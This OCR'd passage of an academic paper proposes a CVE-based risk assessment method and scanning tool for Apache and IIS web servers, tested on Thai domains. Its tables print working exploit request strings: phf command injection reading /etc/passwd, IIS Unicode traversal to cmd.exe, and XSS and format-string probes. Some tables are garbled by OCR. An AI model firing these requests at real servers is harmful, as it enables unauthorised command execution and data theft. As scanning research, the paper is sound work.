leverage scare information security resources, information
falling into boxes 1,2,4 and 5 should generally receive the
largest share of the information security budgets.

VULNERABILITY

High Medium Low
VALUE | High 1 2 3
Medium 4 5 6
Low 7 8 9

Figure 1. Value-vulnerability grid.

2.4 Web server vulnerability source

Common Vulnerabilities and Exposures (CVE) [7] is a
list of standardized names for vulnerabilities and other
information security exposures, provided by the MITRE
Corporation. The goal of CVE is to make it easier to share
data across separate vulnerability databases and security
tools. An example of the content of each CVE is as shown
in Tablel.

Table 1. An example of CVE

CVE Number Description

CVE 2002 - 0513 | The PHP administration script in popper_mod
1.2.1 and earlier relies on Apache .htaccess
authentication, which allows remote attackers to
gain privileges if the script is not appropriately
configured by the administrator.

CVE Number follows CVE name process. The name
indicates the year of vulnerability was discovered and a
running number. As of September 2004, there are 3,052
unique entries of accepted wvulnerability in computer
system. In this research_we choose only vulnerability
there was effect on Apache and 11S web server.

2.5. Risk assessment

Risk assessment [8, 9] is the process of examining a
system and its operational context to determine possible
exposures and the potential harm they can cause. Risk
assessment performs in many different contexts; for
example, environmental and health risk are assessed. Risk
assessment for computer security system is adapted from
more general management practices, placing special
emphasis on the kinds of problems likely to arise from
security perspective

174

Risk assessment determines whether an asset
should be protected in what level, required assessment of
the potential threats against that asset and the likelihood
that they will materialize. The level of protection is a
probabilistic function of occurring attacks and the effects
of the attack. This probability shows the rate that the
attack is likely to successful. If an attack is unlikely to
success, the priority is lower than the priority of
protection against a likely one. Theoretically, there are
three main factors that concern in risk assessment.

1. Losses associated with an event. The event must
generate negative effects: compromised security, lost
time, diminished quality, lost of money, lost of control,
lost of understanding and etc. These losses are called the
risk impact.

2. The probability that the event will occur. There is a
probability of occurrence associated with each risk called
risk probability which may change over time. So it is
important to track them and plan for the event
accordingly.

3. The degree of which we can change the outcome.
We must determine what, if anything, we can do to avoid
the impact or at least to reduce its effects. Risk control
involves a set of actions to reduce or eliminate the risk.

Based on the concept of risk assessment, we propose
web server vulnerability risk assessment method. We
describe the method for calculating the probabilities of
occurrence of the vulnerabilities and purpose a criterion
for risk impact classification which divides into
confidentiality integrity and availability.

2.6. HTTP (Hypertext Transfer Protocol)

The Hypertext Transfer Protocol (HTTP) [10] is the
protocol used to communicate the World Wide Web
service over the Internet. There are many extended
versions-of HTTP such as S-HTTP, HTTPS. The HTTP
protocol is used for two-way communication between a
web client and a web server. A client sends a HTTP
request packet to server, and server returns the requested
data in HTTP response packets, as shown in Figure 2.
Currently, there are several versions of HTTP protocol,
which. -include —HTTP/0.9, HTTP/1.0, HTTP/1.0+,
HTTP/1.1 (current version) and HTTP-NG (draft version)

\

A
>

Figure 2. Web server and web client.

Based on the HTTP protocol, we develop a tool for
sending HTTP requests and receiving response messages
(status code) for web server vulnerability scanning.



3. A web server risk assessment method

RISK

Vulnerability ( X ;) Level of Impact Probability (P, )

w,)

CVE for Confidentiality, |Calculated from
Apache and Integrity, other web server in
11S web server Auvailability | real world

Figure 3. Web server risk assessment architecture.

There are several components related to risk
assessment. Figure 3 as shown a web server risk
assessment architecture consisted of vulnerability, level of
impact and probability. The formula for calculate the risk
value is shown in equation 1.

n
Risk Value = Z X iW i Pi ..(D)
i=1
X, is a vulnerability of web server. ‘In this paper,
we select Apache and IIS web server since both earn the
maximum market share of web server in the world [11].
Total number of vulnerability in this paper is 33
vulnerabilities. Its value equals to 1 if vulnerability is
found, otherwise its value equals to 0.
w, is a weighted impact of each vulnerability

classification by confidentiality, integrity and availability.
The details will be described more in section 3.2.
P, is a probability of each vulnerability occur. The

details will be described more in section 3.3.

i is a sequence of common vulnerability and
exposures. In this case, we use from 1 to 33 according to
the number of CVE of Apache and IS web server that we
select.

3.1 Scanning vulnerability (x )

We used HTTP request for scanning vulnerability of
web server. According to CVE, a list of standardized
names of publicly ~known vulnerabilities and the
information of security exposures, we create a set of
HTTP request for scanning web server vulnerabilities.
The examples of requests are show in Table 2 and 3.

Table 2. The request for CVE 1999-0067.
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Table 3. The request for CVE 2000-0886.

CVE-2000-0886 IIS 5.0 allows remote attackers to execute
arbitrary commands via a malformed request for
an executable file whose name is appended with
operating system commands, aka the "Web
Server File Request Parsing" vulnerability..

Request Command

GET /bin/..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
GET /%3c/a%3e%3cscript¥%3ealert(%22xss%22)%3c/script%3e

GET /%3cltitle%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

GET /%3cscriptY%3ealert(%22xss%22)%3c/script%3e/

GET /%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt/
GET /%a%s%p%d

GET /%s%s%s

3.2 Level of impact (w, )

According to computer security concern, we classified
the impact of web server vulnerability into 3 types:
confidentiality (C), integrity (1), and availability (A). The
definitions are as follow:

- Confidentiality ensures the computer assets can only
be accessed by authorized parties. Only those who should
access to the information can actually access the data. In
this context, accessing a piece of information includes not
only reading but also viewing, printing, or simply
checking for the existing of the particular asset.

- Integrity means that assets can only be modified by
authorized parties or only in authorized ways.
Modification includes writing, changing of both content
and status, deleting, and creating.

- Availability means that assets are accessible to
authorized parties when they are needed. In other words,
if a person or system has legitimate access to a particular
set of objects, that access should not be prevented.

In order to evaluate the web server security, we
present the weighted conditions for the impact of each
CVE by loss types, confidentiality, integrity and
availability as shown in Table 4, 5 and 6, respectively.
Weight conditions are ranked from 0 to 3, which 0 means
that CVE has no impact on that particular loss type, 1
means that CVE has a low impact on that particular loss
type, 2 means that CVE has a medium impact on that
particular-loss type and 3 means that CVE has a high
impact on that particular loss type.

Table 4. Weight condition for confidentiality loss

CVE 1999 - 0067 CGI phf program allows remote command
execution through shell metacharacters.

Request Command

GET /cgi-bin/phf

GET /cgi-bin/phf.cgi

GET /cgi-bin/phf?Qalias=x%0a/bin/Is%20

GET /cgis/phf.cgi?QALIAS=x%0a/bin/cat%20/etc/passwd
GET /cgi-bin/phf.cgi?QALIAS=x%0a/bin/cat%20/etc/passwd
GET /cgi-bin/phf?Qalias=%0A/bin/cat%20/etc/passwd

Weight Conditions
3 —High Read data from the server with super user privilege.
2 — Medium Read data from the server with user privilege.
1-Low Read data from the server with other user privilege.
0 — No Impact No impact in this loss type.

Table 5. Weight condition for integrity loss
Weight Conditions
3 —High Change data on server with super user privilege.
2 — Medium Change data on server with user privilege.
1-Low Change data on server with other user privilege.
0 — No Impact No impact in this loss type.

Table 6. Weight condition for availability loss

Weight Conditions
3—High Execute command on server with super user

privilege that command is a serious command such
as shutdown or restart command.




2 — Medium Make some service to not available.

1-Low Make server to have many data but the server can
still available.

0 — No Impact No impact in this loss type.

However, the impact factors of confidentiality,
integrity and availability for wvulnerability may vary
among organizations according to their security policies
and concerns. The developed tool allows assessors to
customize the vulnerabilities impact factor to match the
security policy of their organization. An example of
impact for CVE 1999-0067 and CVE2000-0886 are
shown in Tables 7 and 8 respectively.

Table 7. Impact for CVE 1999-0067

Confidentiality Integrity Availability

3 3 3

CVE 1999-0067 allows an attacker to access the web
server and reads or executes command with super user
privilege. As a result, we rank it in a high level in every
loss types.

Table 8. Impact for CVE 2000-0886

Confidentiality Integrity Availability

2 2 1

CVE 2000-0886 allows an attacker to execute
arbitrary command via other user’s privilege. The effect
on confidentiality and integrity is considered medium
level. However, attackers may execute operating system
command that may exploit buffer overflow attacks, so the
availability impact factor is scored with low level.

In summary, the weighted impact of vulnerability
impact can be calculated by integrating all the weight of
each loss type as shown in equation (2).

W, =We +W, +W, = @)
W, is a weighted impact of vulnerability.
WCi is a weighted impact of confidentiality loss.
W|i is a weighted impact of integrity loss.

WAi is a weighted impact of availability loss.

i is a sequence of .common_vulnerability. and
exposures.

3.3 Probability calculation (p,)

The calculation of probability of finding vulnerabilities
can be performed by sending HTTP request command to
web server in the real world, storing the received response
in database. The responses are then later used for
calculating the probability with the following equation.

> r
— s=1

,- ..(3)

m

P
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P, is probabilities for each vulnerability.

X, is a vulnerability of Apache and 1S web server

from CVE. Total number of vulnerability in this paper is
33 vulnerabilities. Its value equals to 1 if vulnerability is
found, otherwise its value equals to 0.

i is a sequence of common vulnerability and
exposures.

m is a maximum number of web servers.

3.4 Risk value calculation
After collecting all data, we can calculate the risk
value by loss types, as following equation.

Risk Value = Z X iW i Pi ...(4)or
i=1

n
Risk Value = )_X; W, +W, +W, )R (s
i=1
The risk value calculated from equation 4 or 5 presents
the risk level of interesting web server. We can compare
the security level of interesting web server with the
collecting risk value. The collecting risk value can be
calculated by individual web server or cluster of web
server. In this research, we present the comparison of risk
value under the different domain in Thailand. The result is
show in section 5.

4, Web server risk assessment tool
development

To proof our concept, we develop a web server risk
assessment tool named, WSRAT. The architecture, main
function and example of graphic interface presented in
this section.

4.1 Architecture aspect design
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Figure 4. WSRAT architecture.




This architecture design consists of three tiers: the web
server, the client, and database. The web server tier is an
interface to web server for obtaining data for calculating
risk assessment. The client tier acts as a user interface
module (its function will describe in section 4.2). The
database tier is used to store the data such as probability,
impact, vulnerability and requesting command etc. The
architecture is shown in Figure 4.

4.2 Functional aspect design

The functional design of WSRAT is organized into
two subsystems: risk assessment process subsystem and
risk assessment data management subsystem. The
WSRAT consists of twelve use cases as shown in
Figure 5. Risk assessment process subsystem is
responsible for connecting, sending request and accepting
response from web servers. Risk assessment data
management subsystem is responsible for risk calculation,
use data collected from the first subsystem and the
predefined information.
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Figure 5. WSRAT functional requirements.

4.3 Graphical user interface design
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Figure 6. An Example of WSRAT’s interface
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A snapshot of WSRAT user interface is shown in
Figure 6. Figure 7 shows an example of the report
generated from WSRAT. The report includes 3 main
areas. The first area is the profile of a particular assessed
web server, the second area is the calculated risk value of
that web server and the last area is the comparison of risk
value classified into confidentiality, integrity and

availability.
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Figure 7. An example of WSRAT’s report

5. Experimental design

We set up the experiment to investigate the risk of web
server under the domain name of Thailand (.th). The
result is the risk values for each domain are categorized
by confidentiality, integrity, and availability. The
investigation involves data collecting methods (sending
HTTP-request commands to web server, and receiving
HTTP-response messages) and storing the data into
database for calculating the probability value for later
assessing other web server. The web servers under the
domain name of Thailand can be partitioned into 7
categories [12].

1. co.th - for commercial entities and business entities.

2. in.th - for any kind of organization or individual.

3. ac.th - for academic institutions.

4. go.th - for government use, such as ministries or
agencies of the government.

5. net.th - for Internet Service Providers (ISPs).

6. or.th - for non-profit organization.

7. mi.th - for military use.

Minimum _numbers of selected web servers in every
domain type are suggested by Bartlett et.al. [13]. They
give the determining -minimum returned sample size for a
given population size for continuous and categorical data
for several margin of error and alpha values. We select
the determining minimum returned sample sizes for the
margin of error value equal to 0.3 and alpha value equal
to .05 which are applied to select the numbers of web
servers in the experimental. The number of population for
each domain can be found in Table 9.

2

3



Table 9. Population and number of sample

Domain Type Population Sample
go.th 320 85
net.th 28 12
in.th 1,313 106
ac.th 1,007 106
co.th 10,158 117
or.th 574 97
mi.th 15 6

6. Experimental results

According to the results as shown in Table 10 and
Figure 8, all domains are likely to have high vulnerability
in confidentiality than integrity and availability. This
result supports by National Institute of Standards and
Technology (NIST) [14] shown that confidentiality has
the most impact on web server.

Table 10. Risk Value grouped by domain types

. . - . o Risk
Domain type Confidentiality Integrity Availability il
go.th 2.2606 1.8025 0.6850 4.7481
net.th 1.4167 1.1250 0.3542 2.8958
in.th 1.2897 1.0694 0.5583 29174
ac.th 2.3231 2.0143 0.8599 5.1973
co.th 3.1667 2.7066 1.0678 6.9411
or.th 2.7999 2.3617 0.7973 5.9589
mi.th 1.9167 1.7222 0.6944 4.3333
average in 2.1676 1.8288 0.7167 4.7131
all domain
o 354
E O Confidentiality Loss Impact
é 3+— = Integrity Loss Impact I
e H Availability Loss Impact [ :
25 e
2 L
15 A A
1
0 : : : Ly : :
go.th net.th inth ac.th co.th or.th mi.th all
domain
Domain Type
Figure 8. Risk value for each loss impact
classify by domain type.

The co.th, or.th and ac.th domains are the three
topmost domains have the highest vulnerability in all loss
types respectively. These domains have less security
concerns than netth and mi.th. The net.th domains
provide the Internet service such as web hosting to the
customer. Security of the system is one of the most
reliability concerns to the customer. The mi.th domains
keep information related to the national security so the
administrator must ensure the system security in a high
level.
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7. Discussion and conclusion

In Summary, this paper presents risk assessment
method by using CVE for Apache and I1S web server as a
case study. We determine the weighted impact by
classifying it into confidentiality, integrity and
availability. Finally, we develop a tool named WSRAT to
support the risk assessment method, which allows us to
compare the vulnerabilities of web servers.

The WSRAT tool can calculate risk value and user is
able to compare each web server’s risk individually or
categorically. WSRAT also allows administrator to
evaluate the level of web server vulnerability for each loss
type and WSRAT also provides suggestion on how to
resolve its. Moreover, WSRAT allows assessors to
customize the vulnerabilities impact factor to match the
security policy of their organization.

8. Future Work

From the risk value of each vulnerability loss types,
formal solutions to protect the system are needed for
future research. Moreover, many applications currently
provided by web server use several different protocols,
such as FTP, SNMP etc. To enhance the risk assessment,
the proposed method can be applied with other protocols.
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